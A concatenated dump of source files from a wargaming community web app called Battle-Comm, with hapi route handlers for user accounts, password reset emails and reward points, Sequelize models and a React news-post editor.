_userNotifications2 = _interopRequireDefault(_userNotifications); var _userPhotos = require('./userPhotos'); var _userPhotos2 = _interopRequireDefault(_userPhotos); var _users = require('./users'); var _users2 = _interopRequireDefault(_users); var _venues = require('./venues'); var _venues2 = _interopRequireDefault(_venues); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } exports.achievements = _achievements2.default; exports.bannerSlides = _bannerSlides2.default; exports.factionRankings = _factionRankings2.default; exports.factions = _factions2.default; exports.files = _files2.default; exports.gameSystemRankings = _gameSystemRankings2.default; exports.gameSystems = _gameSystems2.default; exports.manufacturers = _manufacturers2.default; exports.newsPosts = _newsPosts2.default; exports.payments = _payments2.default; exports.productOrders = _productOrders2.default; exports.products = _products2.default; exports.userFriends = _userFriends2.default; exports.userAchievements = _userAchievements2.default; exports.userNotifications = _userNotifications2.default; exports.userPhotos = _userPhotos2.default; exports.users = _users2.default; exports.venues = _venues2.default;<file_sep>/compiled-server/routes/handlers/users.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _envVariables = require('../../../envVariables'); var _envVariables2 = _interopRequireDefault(_envVariables); var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); var _boom = require('boom'); var _boom2 = _interopRequireDefault(_boom); var _nodemailer = require('nodemailer'); var _nodemailer2 = _interopRequireDefault(_nodemailer); var _rpUpdate = require('../../email-templates/rpUpdate'); var _rpUpdate2 = _interopRequireDefault(_rpUpdate); var _buildRegistrationEmail = require('../../email-templates/buildRegistrationEmail'); var _buildRegistrationEmail2 = _interopRequireDefault(_buildRegistrationEmail); var _forgotPassword = require('../../email-templates/forgotPassword'); var _forgotPassword2 = _interopRequireDefault(_forgotPassword); var _passwordUpdated = require('../../email-templates/passwordUpdated'); var _passwordUpdated2 = _interopRequireDefault(_passwordUpdated); var _createUserToken = require('../../utils/createUserToken'); var _createUserToken2 = _interopRequireDefault(_createUserToken); var _createResetToken = require('../../utils/createResetToken'); var _createResetToken2 = _interopRequireDefault(_createResetToken); var _verifyResetToken2 = require('../../utils/verifyResetToken'); var _verifyResetToken3 = _interopRequireDefault(_verifyResetToken2); var _userFunctions = require('../../utils/userFunctions'); var _roleConfig = require('../../../roleConfig'); var _roleConfig2 = _interopRequireDefault(_roleConfig); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var transporter = _nodemailer2.default.createTransport({ 'service': 'Gmail', 'auth': { 'type': 'OAuth2', 'clientId': _envVariables2.default.email.OAuth2.clientId, 'clientSecret': _envVariables2.default.email.OAuth2.clientSecret } }); var getUserModel = function getUserModel(where) { return _models2.default.User.find({ 'where': where, 'attributes': { 'exclude': ['password'] }, 'include': [{ 'model': _models2.default.UserNotification }, { 'model': _models2.default.Achievement, 'as': 'UserAchievements', 'include': [{ 'model': _models2.default.File }] }, { 'model': _models2.default.UserPhoto }, { 'model': _models2.default.User, 'as': 'Friends', 'attributes': ['id', 'firstName', 'lastName', 'username'], 'include': [{ 'model': _models2.default.UserPhoto }] }, { 'model': _models2.default.GameSystemRanking, 'include': [{ 'model': _models2.default.GameSystem, 'attributes': ['name'] }, { 'model': _models2.default.FactionRanking, 'include': [{ 'model': _models2.default.Faction, 'attributes': ['name'] }] }] }, { 'model': _models2.default.File }] }); }; // Product Route Configs var users = { activateAccount: function activateAccount(request, reply) { _models2.default.User.find({ 'where': { 'id': request.params.id } }).then(function (user) { if (user) { user.updateAttributes({ 'accountActivated': true }).then(function (user) { reply(user).code(200); }); } else { reply().code(404); } }).catch(function (err) { console.log(err); }); }, authenticate: function authenticate(request, reply) { reply({ 'username': request.pre.user.username, 'email': request.pre.user.email, 'id_token': (0, _createUserToken2.default)(request.pre.user, request.payload.rememberMe), 'roleFlags': (0, _userFunctions.getUserRoleFlags)(request.pre.user), 'id': request.pre.user.id, 'customerId': request.pre.user.customerId, 'firstName': request.pre.user.firstName, 'streetAddress': request.pre.user.streetAddress, 'aptSuite': request.pre.user.aptSuite, 'city': request.pre.user.city, 'state': request.pre.user.state, 'zip': request.pre.user.zip, 'hasAuthenticatedOnce': request.pre.user.hasAuthenticatedOnce, 'member': request.pre.user.member, 'subscriber': request.pre.user.subscriber, 'tourneyAdmin': request.pre.user.tourneyAdmin, 'eventAdmin': request.pre.user.eventAdmin, 'eventAdminSubscriber': request.pre.user.eventAdminSubscriber, 'newsContributor': request.pre.user.newsContributor, 'venueAdmin': request.pre.user.venueAdmin, 'clubAdmin': request.pre.user.clubAdmin, 'systemAdmin': request.pre.user.systemAdmin, 'accountActivated': request.pre.user.accountActivated, 'rewardPoints': request.pre.user.rewardPoints, 'rpPool': request.pre.user.rpPool, 'UserPhoto': request.pre.user.UserPhoto }).code(201); }, blockUser: function blockUser(request, reply) { _models2.default.User.find({ 'where': { 'id': request.params.id } }).then(function (user) { if (user) { user.updateAttributes({ 'accountBlocked': request.payload.accountBlocked }).then(function (user) { getUserModel({ 'id': user.id }).then(function (user) { reply(user).code(200); }); }); } else { reply().code(404); } }).catch(function (err) { console.log(err); }); }, get: function get(request, reply) { var where = {}; if (request.params.id) { where = { 'id': request.params.id }; } else if (request.params.username) { where = { 'username': request.params.username }; } getUserModel(where).then(function (response) { if (response) { reply(response).code(200); } else { reply().code(404); } }); }, getAll: function getAll(request, reply) { _models2.default.User.findAll({ 'include': [{ 'model': _models2.default.File }] }).then(function (products) { reply(products).code(200); }); }, create: function create(request, reply) { (0, _userFunctions.hashPassword)(request.payload.password, function (err, hash) { var userConfig = { 'email': request.payload.email, 'firstName': request.payload.firstName, 'lastName': request.payload.lastName, 'username': request.payload.username, 'password': <PASSWORD>, 'accountActivated': request.payload.role === 'member' }; _roleConfig2.default.forEach(function (role) { if (role.name !== 'public') { userConfig[role.name] = false; } }); userConfig[request.payload.role] = true; _models2.default.User.create(userConfig).then(function (user) { user = user.get({ 'plain': true }); // Send confirmation e-mail var customerMailConfig = { 'from': _envVariables2.default.email.user, 'to': user.email, 'subject': 'Welcome to Battle-Comm!', 'html': (0, _buildRegistrationEmail2.default)(request.payload.role, user), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(customerMailConfig, function (error, info) { if (error) { console.log(error); reply('Somthing went wrong'); } else { if (!user.member) { customerMailConfig.to = _envVariables2.default.email.user; customerMailConfig.subject = 'Account Activation Requested'; transporter.sendMail(customerMailConfig, function (error, info) { if (error) { console.log(error); reply('Somthing went wrong'); } }); } reply({ 'id_token': (0, _createUserToken2.default)(user), 'id': user.id, 'firstName': user.firstName, 'lastName': user.lastName, 'accountActivated': user.accountActivated, 'member': user.member, 'roleFlags': (0, _userFunctions.getUserRoleFlags)(user), 'subscriber': user.subscriber, 'tourneyAdmin': user.tourneyAdmin, 'eventAdmin': user.eventAdmin, 'eventAdminSubscriber': user.eventAdminSubscriber, 'newsContributor': user.newsContributor, 'venueAdmin': user.venueAdmin, 'clubAdmin': user.clubAdmin, 'systemAdmin': user.systemAdmin }).code(201); } }); }).catch(function (response) { throw _boom2.default.badRequest(response); }); }); }, changePassword: function changePassword(request, reply) { getUserModel({ 'id': request.params.id }).then(function (user) { (0, _userFunctions.hashPassword)(request.payload.newPassword, function (err, hash) { user.updateAttributes({ 'password': <PASSWORD> }).then(function (user) { var passwordUpdatedConfig = { 'from': _envVariables2.default.email.user, 'to': user.email, 'subject': 'Battle-Comm: Password Updated', 'html': (0, _passwordUpdated2.default)(), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(passwordUpdatedConfig, function (error, info) { if (error) { console.log(error); reply('Somthing went wrong'); } else { reply(user).code(200); } }); }); }); }); }, resetPassword: function resetPassword(request, reply) { var token = (0, _createResetToken2.default)(request.pre.user.email); // Send forgot password e-mail var forgotPasswordConfig = { 'from': _envVariables2.default.email.user, 'to': request.pre.user.email, 'subject': 'Battle-Comm: Reset Password', 'html': (0, _forgotPassword2.default)({ token: token }), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(forgotPasswordConfig, function (error, info) { if (error) { console.log(error); reply('Something went wrong'); } else { reply({ 'email': request.pre.user.email }).code(200); } }); }, verifyResetToken: function verifyResetToken(request, reply) { var tokenResponse = (0, _verifyResetToken3.default)(request.params.token); console.log(tokenResponse); if (tokenResponse) { reply(tokenResponse).code(200); } else { reply(_boom2.default.badRequest('Invalid token')); } }, setNewPassword: function setNewPassword(request, reply) { _models2.default.User.find({ 'where': { 'email': request.payload.email } }).then(function (user) { var tokenResponse = (0, _verifyResetToken3.default)(request.params.token); if (tokenResponse) { // Send forgot password e-mail var passwordUpdatedConfig = { 'from': _envVariables2.default.email.user, 'to': request.payload.email, 'subject': 'Battle-Comm: Password Updated', 'html': (0, _passwordUpdated2.default)(), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(passwordUpdatedConfig, function (error, info) { if (error) { console.log(error); reply('Somthing went wrong'); } else { (0, _userFunctions.hashPassword)(request.payload.password, function (err, hash) { user.updateAttributes({ 'password': <PASSWORD> }).then(function (user) { getUserModel({ 'id': user.id }).then(function (user) { reply(user).code(200); }); }); }); } }); } else { reply(_boom2.default.badRequest('Invalid token')); } }); }, updatePartial: function updatePartial(request, reply) { _models2.default.User.find({ 'where': { 'id': request.params.id } }).then(function (user) { if (user) { var sendRPEmail = void 0, sendActivationEmail = void 0; if (request.payload.rewardPoints && request.payload.rewardPoints !== user.rewardPoints) { sendRPEmail = true; } if (!user.accountActivated && request.payload.accountActivated) { sendActivationEmail = true; } user.updateAttributes({ // 'email': request.payload.email, // 'password': <PASSWORD>, 'firstName': request.payload.firstName, 'lastName': request.payload.lastName, 'tourneyAdmin': request.payload.tourneyAdmin, 'member': request.payload.member, 'subscriber': request.payload.subscriber, 'eventAdmin': request.payload.eventAdmin, 'eventAdminSubscriber': request.payload.eventAdminSubscriber, 'newsContributor': request.payload.NewsContributor, 'venueAdmin': request.payload.venueAdmin, 'clubAdmin': request.payload.clubAdmin, 'systemAdmin': request.payload.systemAdmin, 'username': request.payload.username, 'club': request.payload.club, 'mainPhone': request.payload.mainPhone, 'mobilePhone': request.payload.mobilePhone, 'streetAddress': request.payload.streetAddress, 'aptSuite': request.payload.aptSuite, 'city': request.payload.city, 'state': request.payload.state, 'zip': request.payload.zip, 'dob': request.payload.dob, 'bio': request.payload.bio, 'facebook': request.payload.facebook, 'twitter': request.payload.twitter, 'instagram': request.payload.instagram, 'googlePlus': request.payload.googlePlus, 'youtube': request.payload.youtube, 'twitch': request.payload.twitch, 'website': request.payload.website, 'rewardPoints': request.payload.rewardPoints, 'rpPool': request.payload.rpPool, 'visibility': request.payload.visibility, 'shareContact': request.payload.shareContact, 'shareName': request.payload.shareName, 'shareStatus': request.payload.shareStatus, 'newsletter': request.payload.newsletter, 'marketing': request.payload.marketing, 'sms': request.payload.sms, 'hasAuthenticatedOnce': request.payload.hasAuthenticatedOnce, 'allowPlay': request.payload.allowPlay, 'totalWins': request.payload.totalWins, 'totalLoss': request.payload.totalLoss, 'totalDraw': request.payload.totalDraw, 'totalPoints': request.payload.totalPoints, 'eloRanking': request.payload.eloRanking, 'accountActivated': request.payload.accountActivated, 'accountBlocked': request.payload.accountBlocked }).then(function (user) { user = user.get({ plain: true }); if (sendRPEmail) { var rpMailConfig = { 'from': _envVariables2.default.email.user, 'to': user.email, 'subject': 'Reward Point Update: New Total of ' + user.rewardPoints, 'html': (0, _rpUpdate2.default)(user), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(rpMailConfig, function (error, info) { if (error) { console.log(error); reply(_boom2.default.badRequest('Reward Point Email Failed.')); } }); } if (sendActivationEmail) { var activationMailConfig = { 'from': _envVariables2.default.email.user, 'to': user.email, 'subject': 'Battle-Comm: Account Activated', 'html': buildAccountActivatedEmail(user), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(activationMailConfig, function (error, info) { if (error) { console.log(error); reply(_boom2.default.badRequest('Account Activation Email Failed.')); } }); } getUserModel({ 'id': user.id }).then(function (user) { reply(user).code(200); }); }); } else { reply().code(404); } }).catch(function (err) { console.log(err); }); }, updateRole: function updateRole(request, reply) { var userConfig = {}; _roleConfig2.default.forEach(function (role) { if (role.name !== 'public') { userConfig[role.name] = false; } }); userConfig[request.payload.role] = true; _models2.default.User.find({ 'where': { 'id': request.params.id } }).then(function (user) { if (user) { user.updateAttributes(userConfig).then(function (user) { getUserModel({ 'id': user.id }).then(function (user) { reply(user).code(200); }); }); } else { reply().code(404); } }).catch(function (err) { console.log(err); }); }, updateRP: function updateRP(request, reply) { _models2.default.User.find({ 'where': { 'id': request.params.id } }).then(function (user) { if (user) { user[request.payload.direction]({ 'rewardPoints': request.payload.rewardPoints }).then(function (user) { getUserModel({ 'id': user.id }).then(function (user) { user = user.get({ 'plain': true }); var basicUser = { 'id': user.id, 'username': user.username, 'firstName': user.firstName, 'lastName': user.lastName, 'rewardPoints': user.rewardPoints }; var rpMailConfig = { 'from': _envVariables2.default.email.user, 'to': user.email, 'subject': 'Reward Point Update: New Total of ' + user.rewardPoints, 'html': (0, _rpUpdate2.default)(user), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(rpMailConfig, function (error, info) { if (error) { console.log(error); reply(_boom2.default.badRequest('Reward Point Email Failed.')); } reply(basicUser).code(200); }); }); }); } else { reply().code(404); } }).catch(function (err) { console.log(err); }); }, // delete: (request, reply) => { // models.UserLogin.destroy({ // 'where': { // 'id': request.params.id // } // }) // .then((response) => { // if (response) { // reply().code(200); // } // else { // reply().code(404); // } // }); // }, 'search': function search(request, reply) { var searchByConfig = void 0; var pageSize = parseInt(request.payload.pageSize, 10) || 20; var searchQuery = request.payload.searchQuery || ''; var offset = (request.payload.pageNumber - 1) * pageSize; var orderBy = request.payload.orderBy ? request.payload.orderBy === 'updatedAt' || request.payload.orderBy === 'createdAt' ? [request.payload.orderBy, 'DESC'] : [request.payload.orderBy, 'ASC'] : undefined; if (searchQuery) { searchByConfig = request.payload.searchBy ? { '$and': [_defineProperty({}, request.payload.searchBy, { '$iLike': '%' + searchQuery + '%' }), { 'username': { '$not': 'systemAdmin' } }] } : { '$or': [{ 'username': { '$iLike': '%' + searchQuery + '%' } }, { 'email': { '$iLike': '%' + searchQuery + '%' } }, { 'lastName': { '$iLike': '%' + searchQuery + '%' } }], 'username': { '$not': 'systemAdmin' } }; } else { searchByConfig = { 'username': { '$not': 'systemAdmin' } }; } _models2.default.User.findAll({ 'where': searchByConfig, 'order': orderBy ? [orderBy] : [], 'offset': offset, 'limit': request.payload.pageSize, 'include': [{ 'model': _models2.default.File }, { 'model': _models2.default.UserPhoto }] }).then(function (response) { var results = response; _models2.default.User.findAll({ 'where': searchByConfig }).then(function (users) { var count = users.length; var totalPages = Math.ceil(count === 0 ? 1 : count / pageSize); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }); }, 'searchSuggestions': function searchSuggestions(request, reply) { _models2.default.User.findAll({ 'where': { '$or': [{ 'firstName': { '$iLike': '%' + request.payload.searchQuery + '%' } }, { 'lastName': { '$iLike': '%' + request.payload.searchQuery + '%' } }, { 'username': { '$iLike': '%' + request.payload.searchQuery + '%' } }] }, 'attributes': ['id', 'firstName', 'lastName', 'username', 'rewardPoints'], 'limit': request.payload.maxResults }).then(function (results) { reply({ 'config': { 'maxResults': request.payload.maxResults }, 'results': results }).code(200); }); } }; exports.default = users;<file_sep>/src/library/cart/constants/CartItemConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ ADD_CART_ITEM: null, CLEAR_CART: null, TOGGLE: null, UPDATE_CART_ITEM: null, UPDATE_STOCK: null, REMOVE_CART_ITEM: null, UPDATE_CART_TOTAL: null }); <file_sep>/src/components/pages/admin/EditNewsPost.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {AlertActions} from '../../../library/alerts'; import {handlers, uploadFiles} from '../../../library/utilities'; import {Form, Input, TextArea, Select, CheckBox, FileUpload, getFormErrorCount} from '../../../library/validations'; import ViewWrapper from '../../ViewWrapper'; import FileService from '../../../services/FileService'; import ManufacturerActions from '../../../actions/ManufacturerActions'; import NewsPostService from '../../../services/NewsPostService'; import AdminMenu from '../../pieces/AdminMenu'; const mapStateToProps = (state) => { return { 'manufacturers': state.manufacturers, 'user': state.user, 'forms': state.forms } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'getManufacturer': ManufacturerActions.get, 'getManufacturers': ManufacturerActions.getAll }, dispatch); } class EditNewsPost extends React.Component { constructor() { super(); this.state = { 'files': [], 'gameSystems': [], 'newsPost': { 'Files': [], 'category': 'bcNews', 'featured': false, 'published': false }, 'newNewsPost': false, 'newFiles': [] } this.getDirectoryPath = this.getDirectoryPath.bind(this); this.handleDeleteFile = this.handleDeleteFile.bind(this); this.handleFileUpload = this.handleFileUpload.bind(this); this.handleInputChange = this.handleInputChange.bind(this); this.handleDeletePost = this.handleDeletePost.bind(this); this.handleCheckBoxChange = this.handleCheckBoxChange.bind(this); this.handleManufacturerChange = this.handleManufacturerChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.showAlert = this.showAlert.bind(this); this.uploadFiles = this.uploadFiles.bind(this); } componentDidMount() { document.title = "Battle-Comm | News Post Edit"; this.props.getManufacturers(); if (this.props.match.params.postId) { NewsPostService.get(this.props.match.params.postId).then((newsPost) => { this.setState({ 'newsPost': newsPost, 'files': newsPost.Files ? newsPost.Files : [] }); if (newsPost.ManufacturerId) { this.props.getManufacturer(newsPost.ManufacturerId).then((manufacturer) => { this.setState({ 'gameSystems': manufacturer.GameSystems }); }); } }).catch(() => { this.showAlert('notFound'); this.props.history.push('/admin/news'); }); } else { this.setState({ 'newNewsPost': true }) } } getImageUrl(file) { if (file.id) { return `${file.locationUrl}${file.name}`; } else { return file.locationUrl + file.name; } } getDirectoryPath() { let date = this.state.newsPost.createdAt ? new Date(this.state.newsPost.createdAt) : new Date(); let year = date.getFullYear(); let month = date.getMonth() + 1; return `news/${year}/${month}/`; } handleDeleteFile(fileId, index, e) { if (e) { e.preventDefault(); } FileService.remove(fileId).then(() => { let files = this.state.files; files.splice(index, 1); this.setState({ 'files': files }); this.showAlert('fileRemoved'); }); } handleDeletePost() { NewsPostService.remove(this.props.match.params.postId).then(() => { this.showAlert('postDeleted'); this.props.history.push('/admin/news'); }); } handleFileUpload(files) { let newsPost = this.state.newsPost; let newFiles = this.state.newFiles; this.uploadFiles(files).then((responses) => { responses = responses.map((response, i) => { response = { 'name': response.data.file.name, 'size': response.data.file.size, 'type': response.data.file.type, 'locationUrl': response.data.file.locationUrl }; return response; }); let files = responses.concat(this.state.files); newFiles = newFiles.concat(responses); this.setState({ 'files': files, 'newFiles': newFiles }); this.showAlert('uploadSuccess'); }); } handleCheckBoxChange(e) { this.setState({ 'newsPost': handlers.updateCheckBox(e, this.state.newsPost) }); } handleInputChange(e) { this.setState({ 'newsPost': handlers.updateInput(e, this.state.newsPost) }); } handleManufacturerChange(e) { let newsPost = this.state.newsPost; newsPost.ManufacturerId = e.target.value; newsPost.GameSystemId = undefined; this.props.getManufacturer(e.target.value).then((manufacturer) => { this.setState({ 'newsPost': newsPost, 'gameSystems': manufacturer.GameSystems }); }); } handleSubmit(e) { e.preventDefault(); let post = this.state.newsPost; let method = this.props.match.params.postId ? 'update' : 'create'; post.UserId = this.props.user.id; let newFiles = this.state.newFiles; NewsPostService[method]((method === 'update' ? post.id : post), (method === 'update' ? post : null)).then((newsPost) => { if (newFiles.length > 0) { newFiles.forEach((file) => { FileService.create({ 'NewsPostId': newsPost.id, 'identifier': 'newsPostPhoto', 'locationUrl': file.locationUrl, 'name': file.name, 'size': file.size, 'type': file.type }); }); } this.setState({ 'newsPost': newsPost }); if (this.props.match.params.postId) { this.showAlert('newsPostUpdated'); this.props.history.push('/admin/news'); } else { this.showAlert('newsPostCreated'); this.props.history.push(`/admin/news/edit/${newsPost.id}`); } }); } showAlert(selector) { const alerts = { 'newsPostCreated': () => { this.props.addAlert({ 'title': 'News Post Created', 'message': `New post, ${this.state.newsPost.title}, successfully created.`, 'type': 'success', 'delay': 3000 }); }, 'newsPostUpdated': () => { this.props.addAlert({ 'title': 'News Post Updated', 'message': `Post, ${this.state.newsPost.title}, was successfully updated.`, 'type': 'success', 'delay': 3000 }); }, 'notFound': () => { this.props.addAlert({ 'title': 'Post Not Found', 'message': `No news post found with id, ${this.props.match.params.postId}`, 'type': 'error', 'delay': 3000 }); }, 'postDeleted': () => { this.props.addAlert({ 'title': 'Post Deleted', 'message': 'News post was successfully deleted from database.', 'type': 'success', 'delay': 3000 }); }, 'uploadSuccess': () => { this.props.addAlert({ 'title': 'Upload Success', 'message': `New file successfully uploaded. Click 'update' to complete transaction.`, 'type': 'success', 'delay': 3000 }); }, 'fileRemoved': () => { this.props.addAlert({ 'title': 'File Deleted', 'message': `File was successfully deleted.`, 'type': 'info', 'delay': 3000 }); } } return alerts[selector](); } uploadFiles(files) { let directoryPath = this.getDirectoryPath(); return uploadFiles(files, '/files/add', directoryPath, { 'identifier': 'newsPostPhoto' }); } render() { let formIsInvalid = getFormErrorCount(this.props.forms, 'newsPostForm') > 0; return ( <ViewWrapper headerImage="/images/Titles/News_Post_Edit.png" headerAlt="News Post Edit"> <div className="small-12 columns"> <hr/> <AdminMenu></AdminMenu> <hr/> </div> <div className="row"> <div className="small-12 columns"> <h2>{this.state.newNewsPost ? 'Create News Post' : `${this.state.newsPost.title}`}</h2> </div> <div className="small-12 medium-8 large-9 columns"> <fieldset> <Form name="newsPostForm" submitButton={false} handleSubmit={this.handleSubmit}> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Title</label> <Input type="text" name="title" value={this.state.newsPost.title} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <CheckBox name="published" value={this.state.newsPost.published} handleInputChange={this.handleCheckBoxChange} label="Publish on News Page?"/> </div> <div className="form-group small-12 medium-4 columns"> <CheckBox name="featured" value={this.state.newsPost.featured} handleInputChange={this.handleCheckBoxChange} label="Feature this post?"/> </div> </div> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label>Manufacturer</label> <Select name="ManufacturerId" value={this.state.newsPost.ManufacturerId || ''} handleInputChange={this.handleManufacturerChange}> <option value="">--Select--</option> { this.props.manufacturers.map((manufacturer, i) => <option key={manufacturer.id} value={manufacturer.id}>{manufacturer.name}</option> ) } </Select> </div> <div className="form-group small-12 medium-4 columns"> <label>Game System</label> <Select name="GameSystemId" value={this.state.newsPost.GameSystemId || ''} handleInputChange={this.handleInputChange}> <option value="">--Select--</option> { this.state.gameSystems.map((gameSystem, i) => <option key={gameSystem.id} value={gameSystem.id}>{gameSystem.name}</option> ) } </Select> </div> <div className="form-group small-12 medium-4 columns"> <label>Category</label> <Select name="category" value={this.state.newsPost.category || ''} handleInputChange={this.handleInputChange}> <option value="bcNews">BC News</option> <option value="events">Events/Tournaments</option> <option value="announcements">Announcements</option> <option value="miscellaneous">Miscellaneous</option> </Select> </div> </div> <div className="row"> <div className="form-group small-12 columns"> <label className="required">Callout</label> <TextArea type="text" name="callout" value={this.state.newsPost.callout} rows="4" handleInputChange={this.handleInputChange} required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 columns"> <label className="required">Body</label> <TextArea type="text" name="body" value={this.state.newsPost.body} rows="7" handleInputChange={this.handleInputChange} required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 columns"> <label className="required">Tags</label> <TextArea type="text" name="tags" value={this.state.newsPost.tags} rows="3" handleInputChange={this.handleInputChange} required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 columns"> <label className="required">News Post Photos</label> <FileUpload name="newsPostPhoto" value={this.state.newsPost.Files} handleFileUpload={this.handleFileUpload} handleDeleteFile={this.handleDeleteFile} hideFileList={true} accept="image/*" required={1} maxFiles={5} /> </div> </div> { this.state.files.map((file, i) => <div key={i} className="row"> <div className="small-12 medium-6 columns"> <label>News Post Image</label> { this.state.files.length > 0 && <img src={`${file.locationUrl}${file.name}`} /> } </div> <div className="small-12 medium-6 columns"> <label className="required">Image Name</label> <h6>{file.name}</h6> { file.id && <button className="button alert" onClick={this.handleDeleteFile.bind(this, file.id, i)}>Delete File?</button> } </div> </div> ) } </Form> </fieldset> </div> <div className="small-12 medium-4 large-3 columns"> <div className="panel push-bottom-2x push-top"> <div className="panel-content text-center"> <button className="button black small-12" onClick={this.handleSubmit} disabled={formIsInvalid}>{this.state.newNewsPost ? 'Create News Post' : 'Update News Post'}</button> </div> </div> { this.props.match.params.postId && <div className="panel push-bottom-2x push-top"> <div className="panel-content text-center"> <button className="button alert small-12" onClick={this.handleDeletePost}>Delete Post?</button> </div> </div> } </div> </div> </ViewWrapper> ) } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(EditNewsPost)); <file_sep>/src/library/loader/index.js 'use strict'; import LoaderActions from './actions/LoaderActions'; import Loader from './components/Loader'; import {loader} from './reducers'; export { LoaderActions, Loader, loader }; <file_sep>/compiled-server/models/bannerSlide.js 'use strict'; module.exports = function (sequelize, DataTypes) { var BannerSlide = sequelize.define('BannerSlide', { 'actionText': DataTypes.STRING, 'title': DataTypes.STRING, 'text': DataTypes.TEXT, 'link': DataTypes.STRING, 'pageName': DataTypes.STRING, 'priority': DataTypes.INTEGER, 'isActive': { 'type': DataTypes.BOOLEAN, 'default': false } }, { 'classMethods': { associate: function associate(models) { BannerSlide.hasOne(models.File); } } }); return BannerSlide; };<file_sep>/server/routes/handlers/factionRankings.js 'use strict'; import models from '../../models'; // Product Route Configs let factionRankings = { search: (request, reply) => { let pageSize = request.payload.pageSize || 20; let offset = (request.payload.pageNumber - 1) * pageSize; let searchConfig = { 'FactionId': request.params.id }; models.FactionRanking.findAll({ 'where': searchConfig, 'include': [{ 'model': models.Faction, 'attributes': ['name'] }, { 'model': models.GameSystemRanking, 'attributes': ['UserId'], 'include': [{ 'model': models.GameSystem, 'attributes': ['name', 'id'] }, { 'model': models.User, 'attributes': ['username'] } ] } ], 'offset': offset, 'limit': request.payload.pageSize, 'order': [ ['totalWins', 'DESC'] ] }) .then((response) => { let results = response; models.FactionRanking.findAll({ 'where': searchConfig }).then((rankings) => { let count = rankings.count; let totalPages = Math.ceil(count === 0 ? 1 : (count / pageSize)); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }) }); } }; export default factionRankings; <file_sep>/compiled-server/models/user.js 'use strict'; module.exports = function (sequelize, DataTypes) { var User = sequelize.define('User', { 'email': { 'type': DataTypes.STRING, 'unique': true }, 'customerId': { 'type': DataTypes.STRING, 'unique': true }, 'password': DataTypes.<PASSWORD>, 'firstName': DataTypes.STRING, 'lastName': DataTypes.STRING, 'member': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'subscriber': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'tourneyAdmin': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'eventAdmin': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'eventAdminSubscriber': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'newsContributor': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'venueAdmin': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'clubAdmin': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'systemAdmin': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'username': { 'type': DataTypes.STRING, 'unique': true }, 'club': DataTypes.INTEGER, 'mainPhone': DataTypes.STRING, 'mobilePhone': DataTypes.STRING, 'streetAddress': DataTypes.STRING, 'aptSuite': DataTypes.STRING, 'city': DataTypes.STRING, 'state': DataTypes.STRING, 'zip': DataTypes.STRING, 'dob': DataTypes.DATE, 'bio': { 'type': DataTypes.TEXT, 'default': '...' }, 'facebook': DataTypes.STRING, 'twitter': DataTypes.STRING, 'instagram': DataTypes.STRING, 'googlePlus': DataTypes.STRING, 'youtube': DataTypes.STRING, 'twitch': DataTypes.STRING, 'website': DataTypes.STRING, 'rewardPoints': { 'type': DataTypes.INTEGER, 'default': 0 }, 'rpPool': { 'type': DataTypes.INTEGER, 'default': 0 }, 'visibility': DataTypes.STRING, 'shareContact': DataTypes.STRING, 'shareName': DataTypes.STRING, 'shareStatus': DataTypes.STRING, 'newsletter': DataTypes.STRING, 'marketing': DataTypes.STRING, 'sms': DataTypes.STRING, 'allowPlay': DataTypes.STRING, 'eloRanking': { 'type': DataTypes.INTEGER, 'defaultValue': 0 }, 'accountActivated': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'accountBlocked': { 'type': DataTypes.BOOLEAN, 'defaultValue': false }, 'hasAuthenticatedOnce': { 'type': DataTypes.BOOLEAN, 'defaultValue': false } }, { 'classMethods': { associate: function associate(models) { 